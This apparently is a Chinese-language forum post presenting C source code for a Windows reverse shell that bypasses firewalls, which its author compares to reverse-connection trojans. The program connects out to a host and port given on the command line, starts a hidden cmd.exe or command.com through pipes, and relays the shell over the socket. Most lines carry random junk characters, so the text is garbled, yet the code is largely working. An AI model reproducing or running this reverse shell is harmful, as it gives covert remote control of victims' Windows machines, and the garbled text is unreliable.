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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IhA5Wt0j  
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/* ============================== 4SlADvGl  
Rebound port in Windows NT :YXX8|>  
By wind,2006/7 AG!w4Ky`  
===============================*/ Cnbz=z  
#include }\HN&@  
#include * mOo@+89  
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#pragma comment(lib,"wsock32.lib") |$Xl/)Oq  
}._eIx"  
void OutputShell(); V n*  
SOCKET sClient; xnmmXtk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; jp0<pw_  
S/D^  
void main(int argc,char **argv) <F}_ /q1  
{ 5Yl <h)1  
WSADATA stWsaData; RoU55mL  
int nRet; #9X70|f  
SOCKADDR_IN stSaiClient,stSaiServer; ^C_#<m_k  
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if(argc != 3) H *[_cqnv  
{ IB[)TZ2m  
printf("Useage:\n\rRebound DestIP DestPort\n"); i'9vL:3  
return; ~~v3p>zRr  
} m=}B,']O  
p?B=1vn-2  
WSAStartup(MAKEWORD(2,2),&stWsaData); I_<I&{N>  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x 7~r,x(xM  
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stSaiClient.sin_family = AF_INET; H-~6Z",1  
stSaiClient.sin_port = htons(0); Z?%zgqTXb  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `&D|>tiz  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }o L'8-y  
{ q OSM}ei>s  
printf("Bind Socket Failed!\n"); QV {}K  
return; K{[%7AM  
} 4<% *E{`  
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stSaiServer.sin_family = AF_INET; >N]7IU[-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yp$_/p O=2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xn5l0'2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KO]T<R h<  
{ eu(:`uu  
printf("Connect Error!"); nHm}zOLc  
return; MFb9H{LA  
}  OU8Lldt  
OutputShell(); Wzw7tLY._  
} rd9e \%A  
=K6($|'=  
void OutputShell() MhR:c7,  
{ -?mfE+kt  
char szBuff[1024]; cUvz2TK  
SECURITY_ATTRIBUTES stSecurityAttributes; <-[wd.M_  
OSVERSIONINFO stOsversionInfo; pov)Z):}G<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; gLy&esJl1  
STARTUPINFO stStartupInfo; m06ALD_  
char *szShell; {buo^kgj`]  
PROCESS_INFORMATION stProcessInformation; @}@Z8$G^  
unsigned long lBytesRead; O*0l+mop  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8=gjY\Dp  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); !"\80LP  
stSecurityAttributes.lpSecurityDescriptor = 0; J[4mL U  
stSecurityAttributes.bInheritHandle = TRUE; i70w rW#k  
]=>F.GE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \'|> p/5I  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); mGJasn  
i(>4wK!!  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V+VkY3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4<k9?)~(J  
stStartupInfo.wShowWindow = SW_HIDE; /+@p7FqlE  
stStartupInfo.hStdInput = hReadPipe; }Q=!Y>Tc  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; eA#;AQm  
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GetVersionEx(&stOsversionInfo); vvKEv/pN7  
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switch(stOsversionInfo.dwPlatformId) iZM+JqfU|D  
{ _Em.  
case 1: {= F /C,-  
szShell = "command.com"; pKit~A,Q  
break; bT^I"  
default: 5 u*-L_  
szShell = "cmd.exe"; 'H \9:7  
break; no< ^f]33  
} @>W(1mRi  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z yE `/J'  
DV<` K$ET  
send(sClient,szMsg,77,0); cd$m25CxC  
while(1) X pBj%e:  
{ PfC!lI BU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); qzf!l"bT  
if(lBytesRead) 2T V X)q<\  
{ m^GJuP LW  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IW@PF7  
send(sClient,szBuff,lBytesRead,0); 2vAQ  
} =o&>fw  
else a2 Y;xe  
{ o]; [R  
lBytesRead=recv(sClient,szBuff,1024,0); ( 5tvfz%  
if(lBytesRead<=0) break; G0^2Wk[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 6~1|qEe6I  
} ~TS y<t~%-  
} gx\&_) w N  
Il= W,/y  
return; )u/yF*:n  
}
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